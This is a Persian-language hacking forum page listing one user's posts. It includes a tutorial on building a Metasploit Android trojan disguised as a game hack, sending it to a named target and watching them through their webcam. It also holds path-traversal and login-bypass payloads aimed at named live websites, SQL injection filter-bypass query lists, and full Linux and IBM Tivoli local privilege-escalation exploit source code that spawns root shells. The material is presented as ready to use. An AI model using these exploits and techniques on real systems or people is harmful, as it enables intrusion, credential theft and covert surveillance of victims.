با توجه به آماده سازی و تامین زیرساخت لازم جهت تبدیل انجمن به یک منبع آموزشی در حوزه امنیت و ارزیابی امنیت، لطفا فایل های خود را در انجمن پیوست نمایید. در غیر این صورت تاپیک شما حذف خواهد شد.
-
تعداد ارسال ها
37 -
تاریخ عضویت
-
آخرین بازدید
-
....::::{ تاپیک جامع سوالات درباره کالی لینوکس }::::...
Factorial پاسخی برای موضوع ارسال کرد برای یک injector در GNU /Linux
اول سلام به تمامی کاربران این وبسایت و تمامی دوستان قدیمی دوم سلام به شما کاربر عزیز BahMan_198 1- اگر شما دارای یک دستگاه مدرن سامسونگ هستید، گزینه ای برای تغییر سخت افزار خود را به حالت دسکتاپ با DeX می دهید. در حالی که دقیقا یک سیستم عامل لینوکس نیست، این یک محیط دسکتاپ با هسته لینوکس است، بنابراین به اندازه کافی نزدیک است. 2- Remote Desktop : دسترسی ریموت از دستگاه android یا ios شما به دسکتاپ linux از طریق برنامه Splash یا دیگر برنامههای ریموت دهنده 3- Limbo : این یک شبیه ساز لینوکس برای آندروید است، بر اساس شبیه ساز QEMU با این حال، برای تنظیم بسیار دشوار و وقت گیر است، و نتایج اغلب به ارزش تلاش نیست 4- Dual boot Android with Ubuntu Touch: دستگاه را به صفحه نمایش HDMI وصل کنید تا محیط دسکتاپ اوبونتو را ببینید. امیدوارم سربسته جواب شما رو داده باشم دوستانی که پس از نصب کالی لینوکس با یک صفحه سیاه مواجه میشوید در تنظیمات ماشین مجازی Vmware یا Virtual به قسمت system processor بروید و Processor خود را به ۲ تا بیشتر از ۲ ارتقاع دهید در صورتی که هر سال دیگری داشتید در هر رابطه با کالی لینوکس ابتدا جزعیات مشکل را بنویسید در صورت دقیق بودن , مشکل شما را در اولین فرصت برطرف میکنیم . با تشکر از شما KaMraN-Injector -
آموزش از مبتدی تا حرفه ای kali linux
injector پاسخی برای موضوع ارسال کرد برای یک injector در GNU /Linux
سلام مجدد به همه با آموزش کالی لینوکس به صورت حرفه ای برگشتم و به امید خدا از امروز میخوام کا رو شروع کنم لطفا کسی پست خواصی نده در این بخش که اکثر پست های داداه شده که دیدم به صورت خیلی مبیتدی بوده و هرکسی میتونه این پست ها رو بده اما از اینجا به بعد میریم سراغ پست های آموزشی هک حرفه ای یا همون pro hacking در این پست آموزش هک گوشی های اندروید رو با ساختن تروجان و ارسال آن به مخاطب خاص محمد نفوذی آغاز میکنیم . آموزش هک گوشی اندروید با کالی لینوکس ابتدا به ترمینال در کالی لینوکس بروبد و طبق آموزش زیر یک تروجان برای اندروید بسازید با دستور ifconfig آیپی که در قسمت inet adr نوشته شده را به دست میاوریم به طور مثال برای من نوشته شده : 192.168.0.4 ( دقت داشته باشید برای دست رسی هر روز شما به همان گوشی اندروید نیاز به آیپی ولید دارید ) که میتوانید با isp خود تماس بگیرید و درخواست آیپی ولید کنید یا از آیپی هایی که در سایت No-IP به شما داده میشود با ست کردن آن روی کالی که کمتر کسی از این روش دوم استفاده میکنه کار رو آغاز کنید خوب حالا برای ساخت تروجان به متاسپلویت پرو بروید و از کامند زیر برای ساخت تروجان استفاده کنید : یه توضیح مختصری در مورد دستور بالا بدم با اینکه همه استاد هستید : شما باید به جای 192.168.0.4 در LHOST یا همان local host آیپی خودتونو که با تایپ ifconfig در ترمینال به دست آوردید بنویسید . در مورد این قسمت R > /root/clashofclanshack.apk باید بگم مسیر تعیین شده برای ذخیره شدن تروجان میباشد که در آخر هم از نام clashofclanshack.apk برای گمراه کردن مخاطبی که میخواهید از گوشی اندروید او دسترسی بگیرید نوشتم . پس از چند ثانیه میبینید فایل تروجان مورد نظر شما در شاخه ی root یا همان Home ذخیره شده است . در همین حین یک ترمینال دیگر باز کنید و در آن تایپ کنید msfconsole حالا نیاز به راه اندازی یک Listener دارید . پس از راه اندازی شدن کنسول متاسپلویت از دستور زیر استفاده میکنیم و payload مورد نظر خودمون رو راه اندازی میکنیم با دستور زیر : سپس آیپی خودمون رو set میکنیم با دستور زیر : خوب حالا تایپ میکنیم تا شنود یا همان listening آغاز شود . و به دایرکتوری root میروید و تروجان ساخته شده را به مخاطب خاص خودمون ارسال میکنیم با یه کوچولو مهندسی اجتماعی تازه میتونید رو سایت خودتون یا بلاگ شخصیتون بگذارید و تبلیغ هک جدید کلش رو بکنید پس از اینکه مخاطب برای نصب اپلیکیشن ( برنامه ) هک بازی کلش او کلنز اقدام کرد Boom سیستم اندروید گوشی مخاطب خاص زیر دست شماست حتی با ریمو کردن اون اپلیکیشن در صورتی دسترسی شما قطع میشه که اینترنت مخاطب خاص خاموش بشه یا بره گوشیش رو بده Flash کنن حالا با دیدن options های این اکسپلویت میتوانید هر دستوری که در آپشن این اکسپلویت وجود دارد را انجام دهید . به طور مثال من از دستور webcam_stream برای دیدن شخصی که به گوشیش نفوذ کرده بودم استفاده کردم و تصویر زیر نشان دهنده ی این دستور میباشد : موفق و پیروز باشید . -
....::::{ تاپیک جامع سوالات درباره کالی لینوکس }::::...
Factorial پاسخی برای موضوع ارسال کرد برای یک injector در GNU /Linux
[*] با سلام به شما زمانی که شما دیتابیس autopwn رو ندارید چطور میخواهید کار خودتون رو شروع کنید ؟ لطفا اولا دایرکتوری رو ایجاد کنید بعد شروع به ادامه کار کنید اینم پلاگین دیتابیس autopwn http://www.2shared.com/file/SAbsMsBP/db_autopwn.html -
WordPress theme parallelus-salutation Arbitrary File Download Vulnerability
یک موضوع پاسخی ارسال کرد برای injector در آسیب پذیری های کشف و گزارش شده
WordPress theme parallelus-salutation Arbitrary File Download Vulnerability https://cxsecurity.com/issue/WLB-2015110230 http://www.exploit4arab.net/exploits/1282 http://www.iedb.ir/exploits-2467.html ############################################################## # Exploit Title: WordPress theme parallelus-salutation Arbitrary File Download Vulnerability . # # Exploit Author: Iran Cyber Security Group # # Discovered By: injector # # Dork 1: inurl:themes/parallelus-salutation/ # # Dork 2: inurl:themes/parallelus-salutation/framework/ # # Date: 18-12-2014 # # Tested on: Kali, Win7 # # Category: webapps # # platform: php ############################################################## VULNERABILITY ############## [~] VULNERABILITY}~~ [~] http://www.Site.com/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php ############## demo 1: www.scarabresearch.com/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php demo 2: http://www.patchingprotocol.com/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php ############################################################## -
Arveen Tazh Afarin CMS Login page Bypass Vulnerability
یک موضوع پاسخی ارسال کرد برای injector در آسیب پذیری های کشف و گزارش شده
Arveen Tazh Afarin CMS Login page Bypass Vulnerability www.exploit4arab.net/exploits/1281 ############################################################## # Exploit Title: Arveen Tazh Afarin CMS Login page Bypass Vulnerability # # Exploit Author: Iran Cyber Security Group # # Discovered By: injector # # Home : http://iran-cyber.in # # Dork: intext:Powered & design by ARVEEN TAZH AFARIN # # Date: 18-12-2014 # # Tested on: Kali, Win7 # # Vendor's: http://www.irweb.ir # ############################################################## VULNERABILITY ############## [~] VULNERABILITY}~~ [~] http://www.Site.com/modir.php # Username : '=' 'or' # # Password : '=' 'or' ############## demo 1: http://ariasayan.ir/modir.php demo 2: http://cartonindustry.com/modir.php ############################################################## -
قوانین بخش آسیب پذیری های ثبت شده
یک موضوع پاسخی ارسال کرد برای injector در آسیب پذیری های کشف و گزارش شده
با سلام قوانین بخش ثبت اکسپلویت : 1- در صورتی که اکسپلویت خود را برای ثبت به هر سایت قابل ثبتی فرستادید آنرا با نام Iran Cyber Security Group ثبت کنید . 2- قبل از ثبت شدن اکسپلویت از پابلیک کردن و استفاده از آن بشدت خودداری کنید ! در صورت ثبت نشدن اکسپلویت شما آنرا برای من یا یکی از مدیران ارسال کنید تا مشکلات اکسپلویت شما بر طرف شود و به نام تیم ثبت گردد . موفق و پیروز باشید . -
مجوعه کوئری های بایپس فیلتر های Sql injection
injector پاسخی برای موضوع ارسال کرد برای یک injector در Database Hacking
در این قسمت انواع طریق بکار بردن دستورات and در ByPass قرار دادم : and 1=1 and 1%3d1 and 1 like 1 AND 1+like+1 AND 0x75%3d0x75 and 1<5 and 3>2 -
مجوعه کوئری های بایپس فیلتر های Sql injection
injector پاسخی برای موضوع ارسال کرد برای یک injector در Database Hacking
در این قسمت انواع بکار بردن دستور Union برای ByPass رو قرار دادم union select 1 union/**/select/**/1 union+select 1 union+select+1 unIOn+seLect+1 UNION+SELECT+1 UNION%20SELECT%201 union+select+@@version (php nuke) union - select kalame /*!union*/select+1 %75nion+select+1 /*!union*//*!select*/+1 %75nion+%73elect+1 %75nion+%73elect+database() union+all+select+database() union(select+database()) union(select(database())) -
مجوعه کوئری های بایپس فیلتر های Sql injection
injector پاسخی برای موضوع ارسال کرد برای یک injector در Database Hacking
روشهای بکار بردن از From در Bypass روشهای بکار بردن از From در Bypass union select column_name from information_Schema.columns union select cast(column_name as binary) from information_Schema.columns union select cast(column_name as binary) from information_Schema./**/columns union select cast(column_name as binary) from /*!information_Schema*/./*!columns*/ union select cast(column_name as binary) from `information_Schema`.`columns` union select unhex(hex(column_name)) from `information_Schema`.`columns` union(select(unhex(hex(column_name)))from(`informa tion_Schema`.`columns`)) union(select(unhex(hex(column_name)))from(`informa tion_Schema`.`columns`)where table_Schema=database()) union(select(unhex(hex(column_name)))from(`informa tion_Schema`.`columns`)where table_Schema%3ddatabase()) union(select(unhex(hex(column_name)))from(`informa tion_Schema`.`columns`)where table_Schema like database()) -
مجوعه کوئری های بایپس فیلتر های Sql injection
یک موضوع پاسخی ارسال کرد برای injector در Database Hacking
سلام امروز چند تا از بایپس های دستور union select که در sqli کاربرد داره رو نوشتم براتون. + = /**/ = space php?id=1/**/union/**/select/**/1,2,3 php?id=999/**/union/**/select/**/1,2,3 php?id=-1/**/union/**/select/**/1,2,3-- php?id=-1+union+all+select+1,2,3-- php?id=-1+and+1=0+union+select+1,2,3-- php?id=-1'+union+select+1,2,3--+ php?id=-1+union+select+1,2,3--+ php?id=1/*!5000union*/+/*!5000select*/+1,2,3 php?id=999'/**/and/**/1=0/**/union/**/select/**/1,2,3--+ php?id=1/*!5000union*//**//*!5000select*//**/1,2,3 php?id=-1 and 1=0 union select 1,2,3 php?id=1 UNION SELECT 1,2,3 php?id=-1/**//*!5000uNiOn!*//**//*!5000SELeCt!*//**/1,2,3 -
inux kernel <= v3.15-rc4: raw mode PTY local echo race 2014
یک موضوع پاسخی ارسال کرد برای injector در Web Application Exploits
/* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <[email protected]> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf[1024] = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("[+] Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("[-] Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch[1024] = {0}; void *tty_operations[64]; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it "); execl("/bin/bash", "/bin/bash", NULL); } } } -
IBM Tivoli Monitoring 6.2.2 kbbacf1 - Privilege Escalation
یک موضوع پاسخی ارسال کرد برای injector در Web Application Exploits
IBM Tivoli Monitoring 6.2.2 kbbacf1 - Privilege Escalation #!/bin/sh # Title: IBM Tivoli Monitoring V6.2.2 kbbacf1 privilege escalation exploit # CVE: CVE-2013-5467 # Vendor Homepage: http://www-03.ibm.com/software/products/pl/tivomoni # Author: Robert Jaroszuk # Tested on: RedHat 5, Centos 5 # Vulnerable version: IBM Tivoli Monitoring V6.2.2 (other versions not tested) # echo "[+] Tivoli pwner kbbacf1 privilege escalation exploit by Robert Jaroszuk" echo "[+] Preparing the code..." cat > kbbacf1-pwn.c << DONE #define _GNU_SOURCE #include <unistd.h> #include <stdlib.h> #include <dlfcn.h> void __cxa_finalize (void *d) { return; } void __attribute__((constructor)) init() { setresuid(geteuid(), geteuid(), geteuid()); execl("/bin/sh", (char *)NULL, (char *)NULL); } DONE cat > version << DONE GLIBC_2.2.5 { }; GLIBC_2.3 { }; GLIBC_2.3.2 { }; GLIBC_PRIVATE { }; DONE echo "[+] Preparing the code... part2" /usr/bin/gcc -Wall -fPIC -shared -static-libgcc -Wl,--version-script=version -o libcrypt.so.1 kbbacf1-pwn.c echo "[+] Cleaning up..." /bin/rm -f kbbacf1-pwn.c version echo "[+] Exploiting." /opt/IBM/ITM/tmaitm6/lx8266/bin/kbbacf1 -
linux 3.4+ - Local Root CONFIG_X86_X32=y
یک موضوع پاسخی ارسال کرد برای injector در Web Application Exploits
کلا دیگه اسم لوکال روت نیارید که اینم جدید ترینش /* *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org ----------------------------------- takes about 13 minutes to run because timeout->tv_sec is decremented once per second and 0xff*3 is 765. some things you could do while waiting: * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times * read https://wiki.ubuntu.com/Security/Features and smirk a few times * brew some coffee * stare at the countdown giggly with anticipation could probably whack the high bits of some pointer with nanoseconds, but that would require a bunch of nulls before the pointer and then reading an oops from dmesg which isn't that elegant. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes hardcoded offsets because I only saw this on ubuntu & kallsyms is protected anyway.. same principle will work on 32bit but I didn't really find any major distros shipping with CONFIG_X86_X32=y [email protected]:~$ uname -a Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [email protected]:~$ gcc recvmmsg.c -o recvmmsg [email protected]:~$ ./recvmmsg byte 3 / 3.. ~0 secs left. w00p w00p! # id uid=0(root) gid=0(root) groups=0(root) # sh phalanx-2.6b-x86_64.sh unpacking.. = greets to my homeboys kaliman, beist, capsl & all of #social Sat Feb 1 22:15:19 CET 2014 % rebel % *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/utsname.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200 int port; struct offset { char *kernel_version; unsigned long dest; // net_sysctl_root + 96 unsigned long original_value; // net_ctl_permissions unsigned long prepare_kernel_cred; unsigned long commit_creds; }; struct offset offsets[] = { {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 {NULL,0,0,0,0} }; void udp(int b) { int sockfd; struct sockaddr_in servaddr,cliaddr; int s = 0xff+1; if(fork() == 0) { while(s > 0) { fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); sleep(1); s--; fprintf(stderr,"."); } sockfd = socket(AF_INET,SOCK_DGRAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); servaddr.sin_port=htons(port); sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); exit(0); } } void trigger() { open("/proc/sys/net/core/somaxconn",O_RDONLY); if(getuid() != 0) { fprintf(stderr,"not root, ya blew it!\n"); exit(-1); } fprintf(stderr,"w00p w00p!\n"); system("/bin/sh -i"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { asm("mov $getroot, %rax; call *%rax;"); } int main(void) { int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char buf[bUFSIZE]; long mmapped; struct utsname u; struct offset *off = NULL; uname(&u); for(i=0;offsets[i].kernel_version != NULL;i++) { if(!strcmp(offsets[i].kernel_version,u.release)) { off = &offsets[i]; break; } } if(!off) { fprintf(stderr,"no offsets for this kernel version..\n"); exit(-1); } mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); mmapped &= 0x000000ffffffffff; srand(time(NULL)); port = (rand() % 30000)+1500; commit_creds = (_commit_creds)off->commit_creds; prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(mmapped == -1) { perror("mmap()"); exit(-1); } memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { perror("mprotect()"); exit(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(-1); } memset(msgs, 0, sizeof(msgs)); iovecs[0].iov_base = &buf; iovecs[0].iov_len = BUFSIZE; msgs[0].msg_hdr.msg_iov = &iovecs[0]; msgs[0].msg_hdr.msg_iovlen = 1; for(i=0;i < 3 ;i++) { udp(i); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); if(!retval) { fprintf(stderr,"\nrecvmmsg() failed\n"); } } close(sockfd); fprintf(stderr,"\n"); trigger(); -
Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels. /* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 [email protected], salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist. */ #define _GNU_SOURCE 1 #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <syscall.h> #include <stdint.h> #include <assert.h> #define BASE 0x380000000 #define SIZE 0x010000000 #define KSIZE 0x2000000 #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337)))) void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1; for (i=0; i<4000; i+=4) { uint64_t *p = (void *)¤t[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return; next:; } } } void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd)); } int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL); }
تاریخچه انجمن امنیتی ایران سایبر
شرکت امنیتی ایران سایبر با بکار گیری افراد متخصص در حوزه امنیت و ارائه راه کار در زمینه امنیت شبکه و امنیت بانک های اطلاعاتی در سال ۲۰۰۹ کار خود را آغاز نمود.
این شرکت با تعریفی جدید از ارائه خدمات و مشاوره در حوزه امنیت سازمان ها و مراکز، تست نفوذ، و برنامه نویسی در تعاملی سازنده با سازمان ها، مشتری مداری را سرلوحه کار خود قرار داده و آماده همکاری با شرکت ها و ارگان های مختلف می باشد.
آدرس های داخلی شرکت
آدرس های داخلی شرکت
رعایت قوانین
شرکت و انجمن امنیتی ایران سایبر با توجه به حضور مجاز و رسمی در محافل امنیتی و شرکت های ارزیابی امنیت ملزم به رعایت قوانین بوده و کاربران انجمن نیز ملزم به رعایت قوانین جمهوری اسلامی ایران میباشد.